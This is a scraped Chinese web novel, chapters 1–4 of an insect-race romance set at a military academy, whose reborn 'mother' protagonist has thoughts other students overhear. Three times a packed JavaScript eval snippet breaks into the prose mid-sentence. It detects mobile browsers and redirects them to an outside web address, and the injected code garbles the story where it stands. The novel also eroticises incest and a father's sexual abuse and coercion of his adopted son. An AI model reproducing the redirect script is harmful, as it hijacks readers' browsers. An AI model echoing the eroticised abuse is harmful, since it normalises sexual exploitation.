《被虫族听见心声,但路人甲虫母》 1. 第 1 章 “帝国军事学院作战指挥系所有参赛选手,请准备进入格斗训练模拟野外赛场,比赛即将开始。” 诺蓝头很痛,脑子里突然蹦出来一个系统,显示一个蓝色屏幕,上面写了四个大字:吃瓜系统。 然后那系统就闪了闪,不见了。 诺蓝:? 【这是什么地方?】 诺蓝下意识睁开眼,发现自己穿越到了一个陌生的环境,像是森林外的平地。 眼前路过一个虫族,停在他面前:“同学,你是哪个系的?” 【这是哪里来的帅哥?】 对方狐疑地看了他一眼,还左右看了看。 没虫说话啊?难道是眼前虫的腹语? 但是这小可爱在夸他帅诶。 对方翘起唇角,上下打量诺蓝一眼,没在他胸前发现系牌,挥了挥手,“算了,不重要,你就算在我们指挥系里吧,同学你好,赶紧从地上爬起来,准备比赛了。” 诺蓝眨眨眼睛:“……好、好啊。” 【指挥系这么缺虫的吗?好吧,随便有个地方去就行。不过刚才广播里说帝国军事学院,那是什么?是学校?完了,我成老古董了,天哪怎么办谁来救救我!】 对方似乎在憋笑。 难道自己没穿衣服!! 诺蓝赶紧看了身下一眼,好好好,穿衣服呢,重点部位没露,否则要被发现身份了。 诺蓝朝他端庄一笑,“这位同学,你是谁?我在哪?现在是发生了什么?” 对方握了握拳:“现在是第一场模拟训练赛,我是指挥系的级长,职能是用精神力指挥作战,但是那群高等级虫族很难指挥,只有虫母能完全指挥他们,所以历年我们都是学员最少、成绩最低、最难学习的系,谢谢你,选择了指挥系!” 被迫选择指挥系的一年级新生诺蓝:“是吗?哈哈,哈哈哈。” 干笑.gif 【高等级虫族很难指挥?不不不,那很简单,对虫母来说,只不过是一个精神链接就能搞定的事,就是可惜这个世界没有虫母,我没感觉到虫母的精神链接。】 【可怜的孩子们,没有妈妈的日子过得一定很苦吧?】 【好心疼。】 对方的双眼顿时湿润了,擦了下眼睛,装作没有悲伤的样子说:“……你也不要嫌弃,虽然所有虫都说指挥系是吊车尾的垫底专业,但我们系的雄虫很多,你长得这么好看,肯定有雄虫喜欢你。” 诺蓝有点期待:“雄虫多,能当饭吃?” 对方震惊地看了他一眼:“不!怎么能吃雄虫呢?把雄虫都吃光了,雌虫还怎么谈恋爱啊?” 诺蓝老老实实噢了一声。 【那也正常,远古时期雄虫少,雌虫多,雄虫负责交/配,雌虫负责饲养虫母,我理解。】 对方用诡异的眼神看着他。 诺蓝怕被他看出自己不是这个时代的虫,赶紧说:“那咱们赶紧走吧,你叫什么名字?” “乌拉,我是咱们系的一年级级长,你跟我走就行了。” 好虫乌拉! “我叫诺蓝,级长你好,”诺蓝向后躬身,“级长你先请。” 乌拉很满意地看着这个懂事的小同学,“一会儿给你找个实战系的队友,保证你不会考不及格。” 诺蓝嗯嗯点头,乖巧地跟着乌拉一起进入训练场。 诺蓝直接被震惊到了! 眼前是一个上千万平米的大型模拟野外生存作战场,全校师生连同军部的虫族铺满了整个等候区,保守估计也有四十万虫族。 一个学校就有四十万新生虫啊!换算一下他们的家庭关系网虫数,那是什么概念? 他活着的时候,虫族也就二十亿虫,这些年他们是一直在生孩子吗? 诺蓝沉默了一会儿,突然转身,对着所有虫族,骄傲地展臂。 【看,本王的族民,多么优秀!】 诺蓝背过手,朝虫族同学们点点头。 【看,本王的子嗣,多如牛毛!】 全场师生顿时噤声。 【看,本王现在亲临现场,他们都不认识本王,这感觉,爽!】 哪个傻子在那幻想?不用嘴就能传声,是在每个虫脑子里都绑系统了吗? 但是一看别虫好像有的没反应。 好像是精神力高的、离得近的才能听到啊。 诺蓝的系统开始运转,提供新瓜。 【副校长在台上如坐针毡,他的小情虫就在队伍里,我看看是哪个系的……工程系,12班,伊万,现在不在队伍里,去雌厕给小花上药了?呜呜呜好可怜的雌,不知道副校长有三百六十五个小情虫,我看看名单……】 副校长:! 副校长赶紧看了眼校长,但是校长没看他,他忐忑不安坐在原地。 校长眯了眯眼睛。 不管这是哪里传来的声音,但是宇宙里有许多无法解释的事情,也许,这道声音就是把一些不为虫知的秘密广而告之。 “副校长。” 校长看了一眼他,后者一激灵:“怎、怎么了?” 校长看了看天:“你回家休假一段日子吧,最近你太累了。” 副校长摸不清校长是不是也听见了那神秘的低语,顺势干笑说:“哈哈,正好,我最近也很累,谢谢校长体谅。” 能听见神秘低语的虫默默保持沉默,队伍开始散漫,无心比赛! 乌拉看着诺蓝,少年是雌虫,乌黑的眼珠湿润润的,纤长的睫毛盖住半截瞳孔,看上去又软嫩又乖巧,他察觉到视线,慢吞吞地挪过眼神,朝乌拉腼腆地笑了一下,嘴角抿着,脸颊两颗浅红的小梨涡像两颗害羞的星子。 这个眉眼秾艳的新生长相太出众了,他站在那里微笑着,就吸引了无数的视线,以前看上去还不错的虫顿时也变得暗淡无光。 这说明什么? 他一定是虫神降临!一定是! 【名单好长,我得一个一个看——】 “那个!”乌拉突然出声,指着面前的两排军校虫:“那个,诺蓝,这是我们指挥系的同学,一共三十名,就这两排。” 诺蓝被打断,赶紧看了看军事学院一年级的系别构成。 医学系和通讯系的虫数都不多,工程系好像还行,一千多排虫。 隔壁那……六千多排的是什么系啊? 诺蓝眯起眼睛看了一眼第一排虫族的胸牌。 {实战系} 听上去就很危险,容易丧命,不学不学,当指挥挺好的。 术业有专攻,虫母擅长指挥作战,只需要建立精神链接网,就能指挥所有虫族冲锋奋战。 # 诺蓝是远古时期虫族帝国的虫母陛下,一生未婚未育,终身追求和抱负都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805764|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和种族发展有关。 一愿,虫族科技发展挤进银河系前列。 二愿,虫族不被欺压,有一片广袤的星系居住。 三愿,虫族子嗣繁茂。 现在三愿全部实现,也终于轮到他过自由生活了! 这具身体还是自己的,没有任何社会关系,白纸一张,简直是太理想了,他要躺平,种花,咸鱼,隐姓埋名,坚决不暴露身份! 诺蓝忍不住想要体验一下上学是什么滋味,他当虫母的时候都没上过学,二十个私虫老师教他一个,他手板都被打肿了,现在想想,他手心没被打凹进去真是万幸,掌纹都没了! 系统说,虫族重视军工文化,每个虫族的梦想都是考上帝国军事学院,本校是虫族星系首屈一指的军事院校,顶级名校,录取率只有10%,出去之后说自己是帝军毕业的倍有面儿。 而他……穿越过来之后,运气爆表,不用考试就直接上岸,还误打误撞进入了招生数量最少、质量最高的指挥系。 指挥系同学严重偏科,机甲实战都不会,唯一擅长的就是消除高精神力带来的负面作用,防止虫族在战场上暴毙,大部分都是鳞翅目的虫族,温柔体贴,所以,指挥系同学实际上是特别受到大家喜爱的。 指挥系同学毕业后就分配工作,各大单位为了争这几个虫打破脑袋,年薪百万起步,只要提交结婚申请报告,首都联盟就立刻分配雄虫对象给他,外加一套房、一艘飞行器、还有移民补贴,林林总总加在一起,毕业就有一千万。 系统是个蓝星系统,表示自己虽然不了解虫母在虫族是什么存在,但每个虫的终极愿望都是娶到虫母,它想知道虫母到底是什么玩意儿? 诺蓝湿漉漉的黑眼睛盯着虚拟空间里的系统,好像没听清它说什么,唔嘤一声,湿润的鼻尖抽了抽,下巴轻轻搁在系统的一团数字乱码上。 诺蓝歪着脑袋:系统,你屏幕上怎么有一颗爱心马赛克在跳动? 系统捂着心脏:……小可爱,保护好自己,我会时刻陪伴在你身边。 诺蓝顿时笑开了眼睛,那团乱码就化作一条云絮,围绕在他身边。 # 比赛即将开始。 赛制规定,每个小队由2-4个虫组成,不限雄雌,规定时间内完成猎杀食虫星兽的任务即可。 诺蓝领取了参训手环,打开赛制须知,注意到了一条特殊的规定:两个指挥系的同学不允许在一组,防止开挂作弊。 诺蓝又看了一眼本系那两排同学,居然全都被其他系的同学一抢而空,只剩下他自己了。 【为什么没有虫选我?呜呜呜…】 其他同学:想,但是不敢。 乌拉下一秒带回来一个实战系雄虫,给诺蓝介绍:“诺蓝,这位是实战系的——” “乌拉!” 有虫在喊乌拉的名字,乌拉看过去,是一个充满纨绔气息的雄虫,宽肩窄腰,制服包裹一双长腿,抱着一杆冲锋枪朝乌拉挑眉毛。 “乌拉级长,那个是你们系的新生吗?” “是啊,怎么了卢卡斯?” 卢卡斯笑得灿然:“我们这有个同学没找到队友,你看能不能把新同学借给我们系,帮帮忙?” 乌拉满眼警惕:“谁啊?你先说谁,要是精神力低的可不行,我们这个新生细皮嫩肉的,禁不住你们实战系糙汉的蹂/躏。” 2. 第 2 章 “不低不低,就是我们系特战队的首席执行队长,艾尔法。” “谁?”乌拉大声喊:“别逗了!你们实战系唯一一个精神力SS级的大佬艾尔法找不到队友?找不到对象还差不多!” “真的!”卢卡斯看了眼远处高挑矫健的雄虫,“喏,我们队长那性格你也不是不知道,成天板着脸不苟言笑的,我看你身边那个雌虫特别像天使弟弟,借我们吧,你们俩和我们一组,带你们上分啊。” “上分?”乌拉的蜻蜓翅膀一抖。 “借!” 乌拉用胳膊肘夹起诺蓝,虫翅带起一阵风,直接带着诺蓝飞到卢卡斯那里。 诺蓝:…… 诺蓝被轻轻放在地上,卢卡斯上下看了一眼他,没忍住,摸了把诺蓝的头发,把诺蓝的头发都揉乱了,诺蓝顶着一头乱糟糟的黑发抬起眼皮,气鼓鼓地看着他。 卢卡斯笑了,抱歉里带着狡黠:“嗨,小可爱,你叫诺蓝是吧?从现在开始,我们就是队友了,我给你介绍我们特战队的队长,艾尔法。” 一个高挑矫健的雄虫不远处走过来,利落的银白短发,穿着军靴和作战服,他的制服和卢卡斯的一样,都是纯黑色,不带一丝白,他走近了,才能看见他有一双冰绿色的眼睛,锋利的轮廓不带有任何情绪色彩。 看见诺蓝之后,他的瞳孔似乎竖了一下,扭头看向卢卡斯:“他是谁?” 诺蓝却只注意到他的制服前面紧绷布料下的胸。 【好大的胸,实战系有胸围标准吗?卢卡斯的胸也不小,这实战系正经吗?】 大家的表情有点诡异,卢卡斯默默地别了别身,总感觉有些视线似有若无地落在自己胸上。 原来是诺蓝小可爱的声音啊,怪不得那么好听…… 卢卡斯恍惚了一下,努力把走偏了的介绍拉回正轨。 小可爱,就算你长得很漂亮,也不能再盯着胸看了,再看要出奶了! 卢卡斯咳了两声,后退一步让开:“诺蓝,这是艾尔法。艾尔法,这是诺蓝,指挥系一年级新生,待会儿我们一组,介绍完毕。” 艾尔法没有提出异议,他的目光落在诺蓝被揉乱的头发上。 有一根呆毛竖起来了。 卢卡斯压低声音,神神秘秘说:“听我说,兄弟,你不能单打独斗了,你的精神力在崩溃边缘,再不克制的话,你会精神力崩溃而死的。” 艾尔法好似没听见,伸出修长的手,诺蓝条件反射地闭上眼睛,然后他感觉自己的头发被一只温柔手抚平了杂乱。 “欢迎加入。” 艾尔法说,然后他端着一把AU276大狙,转身走向赛场。 所有虫族目瞪口呆地看着这一切。 诺蓝抽了抽鼻子,那个雄虫身上的信息素真好闻,好想再闻一下。 但是其他虫族像被冻住了似的站在原地,诺蓝也不敢动。 【这是什么仪式吗?艾尔法是什么很恐怖的雄虫吗?大家怎么都不走?】 大家:不敢和艾尔法并肩走啊,他精神力那么高,SS级的碾压性很强悍的! 诺蓝无聊地踢了踢草地。 【我看艾尔法挺好的,虫温柔又沉稳,真可爱,我喜欢。】 卢卡斯的瞳孔微微颤了颤,然后所有虫族就像口水卡嗓子一样咳嗽,纷纷散开跑向考场,好像再待一会儿就会被传染傻病。 诺蓝问卢卡斯:“咱们进场吗?我看他们都陆陆续续进去了。” 卢卡斯赶紧“嗯”了一声,和诺蓝乌拉并肩走向训练赛场。 “我们去哪个方向?” 四虫拿着地图钻研,卢卡斯问:“东西南北四个方向,星兽密度不一,要不要摇骰子赌一下运气?” 诺蓝认真观察着系统提供的吃瓜图。 【东边赛场最精彩,上将在和小他三十岁的雄虫学生偷情!哇哇哇,真行啊这学生,上将是他雌父的密友,他雌父趁上将不在家,在睡上将的儿子!】 这个时候,看台上的评委们望着缺席的上将空位,心照不宣地摇了摇头。 然而一大批学生朝着东边赛场去了!你追我赶,架势堪比食堂开饭。 【西边赛场也不错啊,星兽少是少了点,但是在举办虫蜜品尝大会,那是一种类似于虫母的虫族,据说产出的蜜和虫母蜜腺里流出来的差不多……虫母蜜腺在哪?在胸吗?所以要怎么品尝,谁来告诉我?】 一大批老师纷纷起立,表示自己还有事要做,等一会儿再回来。 校长:“……” 我今天就坐在这,看你们回来的时候带不带一身蜜味。 这群想虫母想疯了的小骚虫。 还有,这是谁的嘴!会说多说! 刚才说副校长八卦的时候,校长就听得津津有味,现在说别虫,他听得抓耳挠腮,急需下文! 这上将平时冷冰冰的,原来还是个年上受,没出息,190的身高被个180的孩子压了,那孩子够得着吗? 但是那道声音只说了这么几句就没了。 校长很生气! 等他抓到这个同学,一定要狠狠罚他,让他当校长助理,最好把军校里藏污纳垢的角落都说出来! 诺蓝只是在认真思考去哪边赛场比较好。 艾尔法扫了一眼地图,“那先去南边猎杀吗?” 诺蓝指了下:“去北边吧,有原始森林,星兽数量肯定多。” 【南边有一场远古虫族的祭奠仪式,在召唤虫母,肯定不会成功的。】 【别把什么诡异虫族召唤来就好了。】 艾尔法合上地图:“好,听你的。” 诺蓝盯着艾尔法看。 【哎呀,艾尔法性格真好,谁说他脾气暴躁?大/奶的都是男妈妈!大/奶神教万岁!】 卢卡斯在勘查附近地形,突然跌了一跤,摔了个狗啃泥,不只是他,其他特战队员也纷纷撞到一起。 周围一阵沉默,大家分开,各自狩猎。 其实是想去尝尝蜜的味道,毕竟谁都没尝过传说中又美味又能治愈精神力的虫母蜜液,更何况,是从那两朵小花里流出来的,想喝,就得直接用嘴。 但也想去看看召唤虫母仪式,毕竟虫族已经失去母亲太久太久,无法再忍受信仰缺失的痛苦了。 每只虫都希望妈妈回来,举全族之力,供养妈妈。 这种挣扎之下,一半一半的虫族分别去往两个方向。 到了北部赛场,卢卡斯和乌拉一组扫外围,艾尔法和诺蓝一组勘查,他们找到一艘废弃军舰,一般来讲,星兽会被里面残留的食物吸引,在这里应该会有收获。 艾尔法和诺蓝察看到监控室,突然听见隔壁房间有动静。 “……弟弟……别!……嘶…嗯…啊……不行,这里是战场,不是家,你胡闹什么?” “哥哥,这个废机甲不会有虫来探险的,从小到大,只有你最疼我,我想让哥哥开心,我们好不容易离开家,没有虫监管了,哥哥疼疼我……” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805765|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ………………” 嗯?什么情况?所以这兄弟俩是在刺激战场搞刺激? 隔壁发出剧烈的撞击声,还有雌虫低喘咳嗽声,像是肉撞出来的动静,很闷,而且有回响,还有疼痛的呼吸。 诺蓝无辜地站在角落里,动都不敢动,呼吸都困难。 余光瞥见艾尔法的表情变得凝重,诺蓝怕他闯进去,赶紧拉住艾尔法,小心翼翼地把他手里的AU276大狙放下。 然而枪不小心撞到了舱壁钢板,发出一声不大不小的刺耳声音。 “谁!” 诺蓝急中生智,把艾尔法按在舱壁上。 但是艾尔法太高了,至少195,诺蓝抬头,对上艾尔法垂下来的视线。 艾尔法的雄虫触须在额头晃了又晃,脸部两侧暗银色的虫纹亮起来,诺蓝认真观察了一下虫纹,艾尔法的双手却抬起来一点,扣住他的腰。 虫族体温升高时会露出虫纹,诺蓝却从他脸上看不出任何温度变化,轻声说:“……哥哥,这里没虫,要投怀送抱吗?” 【快点演戏啊,别让隔壁发现!】 【这地方星兽有六只,趁他们乱搞,我们一举拿下。】 一阵安静后,艾尔法捏住了他的腰。 “小可爱。” 低沉酥麻的嗓音压低了三个声调,“你还没有学会正确地使用我,现在就开始的话,我怕你受伤。” 确实,比起195的雄虫,诺蓝的身型稍显娇小。 尺寸还需要磨合。 【……等等,我为什么要想这么远?现在又不是真的要开始!】 “我找了你们半天,你们怎么躲在这——!” 卢卡斯用冲锋枪头顶开门,大步流星闯进来,然后水灵灵地愣在原地。 艾尔法看了他一眼,没有做任何解释,卢卡斯的目光在他们身上巡瞍,红眸闪过一丝涟漪。 卢卡斯砰一声关上门,走到他们身边,和艾尔法一前一后夹住了诺蓝。 诺蓝:等、等等!……不要做夹心饼干啊! 卢卡斯低声,用只有诺蓝能听见的声音说:“真不够意思,小天使,你们躲在这里疏导精神力也不带我一个。” 什么?疏导? 原来指挥系是这个意思啊。 诺蓝瑟缩了一下,卢卡斯顺势往前挤了挤,这地方太狭窄了,两只雄虫的精神力压强很大,诺蓝受不了,只好勉为其难疏导他们的精神力。 高等种的精神力是一片迷失的海,在丝丝缕缕水中寻找一抹淡淡的白,每个细胞都在欢呼雀跃尖叫着欢迎虫母的到来,但是无声的喧嚣却不能被大脑觉察到。 雄虫的脑域只能挤压虫母的力量,知道那力道十分柔软,所以愈发强势、蛮横无理地将虫母的力量缠绕。 三道力量争分夺秒地展开竞争,最后,雄虫们的精神力占据上风,将柔弱的虫母压在下方,肆意索取,直到那缕白丝瑟瑟颤抖起来,仍不知满足,舔尽最后一滴汗液才够。 最后,诺蓝累得两腿瘫软,扶着卢卡斯的胳膊才能站起来。 卢卡斯和艾尔法平静得无比诡异,犹如两尊炙火中灼烧的石像,不许诺蓝走,也不许他跌落在地。 诺蓝咬了下嘴唇,【要、要被榨干了,呜呜呜…我再也不是纯洁的小蜜蜂了……】 隔壁这才传来松了一口气的声音。 诺蓝软弱地靠在艾尔法胸上,挪了挪脑袋,沮丧地想:【好在还有胸能抚慰我的心灵。】 隔壁:…… 3. 第 3 章 这时候,隔壁才又响起声音,啪啪的,完全不把他们当虫看! 三只虫被震得耳膜嗡嗡响,诺蓝被他们俩挤在中间才能保持平衡。 诺蓝不担心这个,他都站在吃瓜第一现场了,当然要关心八卦了! 【隔壁是察尔森·西弗斯的两个儿子,亲兄弟诶!】 附近在搜寻星兽的虫族们顿时竖起耳朵,随便席地而坐。 蜻蜓族队长胸前的肋骨变成一条条抱肢,把背包里带来的零食分发给其他虫,大家心照不宣,点点头道谢,保持安静。 赶紧说啊!难得听见权贵圈里的瓜,平时他们光鲜亮丽的,原来也是搞虫族骨科的叛逆少年! 【察尔森是开国十大元帅之一,这次模拟赛他也是监考官,他家长子是雌虫,捡来的,小儿子才是亲生的,昨天两个儿子生日,晚上察尔森睡了长子,还说这是生日礼物!什么礼物?怀孕快乐针吗?】 【然后然后,幼子在外敲门,养父就钻床底下去了?】 【然后弟弟说哥哥就是他的礼物,所以压了哥哥,要了哥哥的初次?哇哇哇,哥哥那个不堪受辱、眼角绯红、咬嘴唇的样子真的太诱了,察尔森,你脑袋撞的疼不疼?哈哈哈,你的眼泪,无虫知晓!】 【啊啊啊,所以说,刚才隔壁是弟弟在哄哥哥给他咽,真相是昨晚弟弟走了后,养父爬出来,哥哥那里就被塞了养父的仿真大小,弟弟不知道,刚才发现了,给拿了出来,两根一起用……嘶,这也太——等等!养父在巡视考场,啊啊啊他过来了!】 隔壁水津津摩擦的声音突然停下了。 【怎么停了?难道哥哥这么快就成夹心小蛋糕了?】 诺蓝把耳朵轻轻贴在墙上,好奇听声儿。 其实精神力疏导已经结束了,但是卢卡斯占据位置的最宽松地带,也没有松开他的意思。 诺蓝无奈地回过头,看着眼前黑发红眼的青年,刚才疏导的时候就感觉到了,卢卡斯的精神力至少有S级,是实战系的级长,精神力等级肯定很出色。 越是高等种,接受疏导的时间也就更长,卢卡斯似乎很激动,这会儿低低喘着粗气,眸色越来越暗,凑到他耳边闻气味。 诺蓝抗拒地推了推他,但是力气不大,像是讨厌被闻味道的小猫咪。 呜呜,不想被发现虫母身份,再被闻下去,万一诱发发情期,一切就全完了! 卢卡斯被推,顺势迎面抱上诺蓝的身体,带有肌肉的修长手臂像是护食一样把他拢在怀里。 诺蓝被热情的虫狠狠一冲,紧密的拥抱勒得他差点窒息,连忙拍了拍卢卡斯结实的手臂。 卢卡斯狭长的眼睛眯起来,诺蓝的身体还没回复元气,只能有气无力地竖起一根手指放在嘴唇边,让他别再弄出动静来了。 卢卡斯看懂了噤声的意思,盯着他白皙修长的指尖,为了表达不满,张嘴轻了一下他的指尖,触须快速地晃了两下。 诺蓝立刻缩回手指,挂着口津的手指湿漉漉的,还有一点痛。 【咬得好痛!他们黑壳甲虫的口器都这么硬?】 卢卡斯总是挂在脸上的笑此刻荡然无存,转化为眼底暗沉的血色,高大轻狂的青年,染上一层嗜血的猩红。 然后,他妥协了一般,脑袋低下,下巴抵着少年柔软的发顶,呼吸变重。 他在臣服。 他的脑袋,在逼着他向虫母臣服。 尽管他本虫也不知道为什么,但他其实……并不讨厌。 诺蓝看见他脖颈两侧布满了细小的晶状黑色鳞片,突起呈锥型,虫翅无法在空间里施展所以没有破骨而出,但是背部支起坚固漆黑的翼骨,脊背下方有一条黑色布满尖锐骨刺的长尾拖在地上,尾尖翘起,一翘一翘地挺着弧度,躲避着诺蓝的裤脚。 【诶?这么长?它貌似有自己的思想,我摸摸。】 握住他腰的手有一瞬间的紧,然后迅速松开。 卢卡斯极速后退,背靠着狭窄舱壁,仰起头喘/息,然后迅速从背包里取出一支针剂给自己扎进脖子里,眼睫微眯,镇定下来。 镇定剂,高等种随身携带的药物,能保证在肾上腺素暴涨的时候冷静下来。 看上去,卢卡斯不喜欢被摸尾巴……还用尾巴牵制住诺蓝的手腕,阻止他试图撸自己尾巴的秀丽手掌。 诺蓝有点想摸,但是非常尊重虫族的隐私把手缩了回来。 耳畔,艾尔法的呼吸有些急促,似乎是SS精神力消耗能量太大,使他浑身充满强悍的气息。 诺蓝差点把沉默的艾尔法忘了,转回身刚想离他远点,可是艾尔法高大的身躯倾覆向他,诺蓝被他完全笼罩在阴影里,强忍住战栗。 艾尔法也没有说话,也没有动作,只是用那双冷绿的眸子盯着他看,喉结轻轻滚动,触须缓缓地摇摆着,似乎在等待着什么。 诺蓝对这种情况进行了推导。 指挥系培育疏导员,高精神力的虫族对疏导员毫无抵抗能力,而他们这种天生高等种的虫族,更是到死都不一定遇见厉害的疏导员。 毕竟那是虫母的天赋,普通疏导员能有虫母的十分之一力量就足够强大了。 所以,高等种们哪怕脑域爆炸而死,也不愿意让低等级的疏导员碰自己的私密部位,毕竟接受触碰,等同于接受被使用。 高等种们不习惯被虫母之外的虫族使用,这是保留在基因里的本能,所以,指挥系的学生们从来都只能辅助作战,调节强度,而不能真正的让高等种的精神力舒缓下来。 看着艾尔法求撸的样子,诺蓝忍不住心软,安抚地摸了摸他的鼻尖。 艾尔法出于本能闭上眼睛,往前挺了挺脑袋,鼻梁轻蹭诺蓝纤长的指腹,从喉咙里发出一阵舒服的叹息。 诺蓝捂住了他的嘴,换来的是,蝉族雄虫在他掌心里湿漉漉的一舔。 虫族渴望带有温度的东西,不论是食物,还是别的什么东西。 艾尔法也不觉得自己的行为有什么问题,握住诺蓝的手,五指交叉着,身体前倾一点点逼近距离,鼻梁慢慢划过少年柔软的腕骨皮肤,雄性荷尔蒙一点点散开,是一种很野性难以驯服的气味。 诺蓝的手腕被蹭的火热,温柔推开艾尔法,眼神示意卢卡斯给艾尔法也来一针。 卢卡斯已经恢复正常了,拿着针走过来,将艾尔法按在舱壁上,远离纤瘦的雌虫。 两头野兽强烈碰撞在一起,艾尔法的眸色就这样黯淡了下去。 卢卡斯用身体粗鲁挤压着他,一针扎下去,耳语如同催眠:“队长,你乖一点,小可爱还不了解我们的精神力状况,他还需要时间习惯我们的强度。” 艾尔法仰头,喉结狠狠滚了一下,汗珠一颗颗滚落。 因为这个幅度较大的动作,脖子上的针孔被扯开,流出血。 艾尔法低沉嘶哑地“嗯”了一声,“……我没事,松手。” 趁着卢卡斯给艾尔法扎针的时候,诺蓝坐在地上休息,他站不住了,脚都软了,可能是刚穿越过来的缘故,有点虚,可能得缓一缓才能站起来。 疏导就是只要开始就不能半途停下来,否则虫族会疯狂,行为不受控制,进而弄伤指挥系的同学。 诺蓝挣扎着站起来,艾尔法盯着他一步一步走近,然后很温顺地低下了头,把伤口给诺蓝看。 虫族的伤以肉眼可见的速度恢复,自我修复能力太强,只遗留一点疼痛,并不能让虫族感到恐惧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805766|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺蓝能做的只有用袖口给他擦擦血。 艾尔法黯淡的眸子一点点亮了起来。 不知道为什么,心里有一簇温暖的火焰被点燃,散发着玫瑰浓郁的芳香,像是被妈妈爱着一样,不想长大。 随着诺蓝手指的移开,那种想要依赖的美好心情也转瞬即逝。 艾尔法恢复平静。 隔壁传来一阵躁动。 “雄父,您来了。” “你哥哥呢?” 察尔森冷峻的嗓音透着一丝不安。 “哥哥吗。” 弟弟冷冷看了眼哥哥藏匿的角落。 “估计在取您昨晚留在他身体里的东西吧。” 元帅看了眼角落里的雌虫青年,光滑的脊背上还有红痕,便摘了披风盖在他身上,头也不回,哑声说:“……芬里昂,别碰你哥哥,我最后警告你一次。” “哥哥已经是我的虫了。” 滴滴答答的水顺着元帅的衣袍淌下,沾湿了荣誉的勋章。 芬里昂并不相信雄父会对自己做什么,雄父对他有求必应,肯定也会把哥哥让给他的。 “雄父养大哥哥,是为了满足私欲的吗?” 一听这话,元帅冷笑一声:“私欲?如果我真想满足私欲,我就根本不会尊重你的想法,别说你哥哥,就算是你,我也是想睡就睡。” “雄父!” 小雄虫被元帅的一番话震得浑身发抖,浑身都是汗的哥哥在昏迷中也不踏实,伸手去抓住一切能抓住的东西,似乎还在流泪。 小雄虫的脑袋拼命想办法! “隔壁也有虫在乱来,你怎么不去抓?” 诺蓝:?好小子,有你的! 好在哥哥在这个时候清醒了,他睁开眼,看见了雄父,又看见了小雄虫,然后,拼力气说了第一句话。 “……弟弟,不怪雄父,是我勾引了他。” “雄父,您消消气,饶了弟弟吧,我愿意受一切惩罚。” 元帅的声音陡然缓和下来:“可是亚伦,背叛我是需要付出代价的。” 亚伦温柔的声音响起,虽然带有一丝恐惧,但仍不退缩:“我心甘情愿的。” 元帅语态傲慢:“我早就告诉过你,雌虫生来就是服侍雄虫的。” “是。”亚伦温驯地说,“雌虫就是贱种,是最不值钱的玩物,尤其是军雌,不论在外多么风光,在家里也要主动跪下,听从雄主的命令。雄父……不,主人,我时刻记着您的教诲,不敢忘。” 【真恶心,元帅这个老登,就等这句话呢吧?可惜,他不知道哥哥肚子里怀了弟弟的虫崽,估计再等六个月,就要把孙子当儿子养了。】 卧槽! 外面一直啃果子吃的虫族队员们愣在原地,这什么惊天大瓜!父子兄弟乱/搞就算了,居然辈分都乱了!搞什么?血统纯净吗?不怕生出来弱智虫吗? 元帅猛然看向亚伦的肚子。 然而亚伦的精神力只有F,听不见神秘的低语,还在用柔软的眼神哀伤地看着他,“雄父,放过芬里昂吧,他还小,他不懂事的。” 元帅整个虫都快崩溃了,语气陡然凶恶:“你懂事,你知道该怎么做,让我开心?” “……嗯。”亚伦嗓音颤抖,显然没那么心甘情愿:“我以前不懂事,现在……懂事了。” 但是芬里昂听见了诺蓝的心声,一眼看向亚伦的肚子。 那里面有他的孩子? 明明就是打算玩玩而已,所以就没戴过套,怎么会真的有了孩子? “雄父,你把亚伦带走吧。” 【年下不叫哥,想法有点多。】 “我不习惯用别虫用过的东西,太脏。” 4. 第 4 章 一声撕裂布料的滋啦声,随后刀柄落地,亚伦捂着染血的腹部,推开舱门走出去。 星兽的脚步声靠近,诺蓝想也没想就从舱室里跑出来,把亚伦抵在梯形舷窗底下,回身举起艾尔法的AU276瞄准星兽,扣手就是连发子弹。 【这个傻孩子,怎么不知道爱惜生命?生命只有一次,多宝贵啊,别为了渣雄放弃自己,军雌的命也是命。】 亚伦浑身湿透地靠在窗前,金发一缕缕粘在脸侧,长睫轻轻抬起,愣愣地看着眼前比他还矮一头的少年端着枪打星兽的模样。 诺蓝没端过枪,强大的后坐力震得他浑身酸痛。 “同学,”他声音很虚弱,“枪给我,你拿枪的姿势不对,会走火。” 亚伦劲瘦的肌肉紧绷,单手劈过接住枪,端枪架在自己锁骨下方射击。 诺蓝没想到他居然还有力气战斗,军雌的力量与普通雌虫相比还是过于悬殊了。 “到我身后。” 亚伦清冷的声线尽管喘息,仍旧镇定冷静:“刚才被你看到笑话了,抱歉,请不要嘲笑我,但我是军雌,我可以保护你。” 